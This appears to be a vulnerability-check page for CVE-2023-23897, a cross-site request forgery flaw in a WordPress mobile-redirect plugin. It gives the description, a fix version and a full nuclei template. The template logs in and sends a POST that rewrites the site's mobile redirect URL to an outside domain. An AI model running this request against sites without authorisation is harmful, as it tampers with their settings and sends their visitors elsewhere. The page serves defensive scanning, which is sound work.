Ozette Plugins - Cross-Site Request Forgery

mediumseverity

4.3CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

An attacker can update, create, and remove the site's mobile redirects via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Impact

Attackers can perform unauthorized actions on behalf of authenticated users, potentially leading to data manipulation or unauthorized redirects.

Fix

Update to version 1.7.3 or later with CSRF protections implemented.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: POST /wp-admin/options-general.php?page=simple-mobile-url-redirect-1.7%2Fmobile-redirect.php
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Updated", "<div class=\"updated\">", "id=\"mobileurl\" value=\"http://oast.pro\"")

Run it with nuclei: nuclei -id CVE-2023-23897 -u <target>

The full check

id: CVE-2023-23897

info:
  name: Ozette Plugins - Cross-Site Request Forgery
  author: popcorn94
  severity: medium
  description: |
    An attacker can update, create, and remove the site's mobile redirects via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
  impact: |
    Attackers can perform unauthorized actions on behalf of authenticated users, potentially leading to data manipulation or unauthorized redirects.
  remediation: |
    Update to version 1.7.3 or later with CSRF protections implemented.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/simple-mobile-url-redirect/simple-mobile-url-redirect-172-cross-site-request-forgery-leading-to-mobile-redirect-updates
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23897
    - https://patchstack.com/database/vulnerability/simple-mobile-url-redirect/wordpress-simple-mobile-url-redirect-plugin-1-7-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2023-23897
    cwe-id: CWE-352
    epss-score: 0.0161
    epss-percentile: 0.76137
    cpe: cpe:2.3:a:ozette:simple_mobile_url_redirect:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ozette
    product: simple_mobile_url_redirect
    framework: wordpress
    shodan-query: html:"simple-mobile-url-redirect"
  tags: cve,cve2023,wordpress,wp,plugins,ozette,csrf,vuln,authenticated,vkev,simple-mobile-url-redirect

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/options-general.php?page=simple-mobile-url-redirect-1.7%2Fmobile-redirect.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mobiletoggle=&mobileurl=oast.pro&mobilemode=301&mobileredirectoncedays=7&submit=Save+Changes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Updated", "<div class=\"updated\">", "id=\"mobileurl\" value=\"http://oast.pro\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from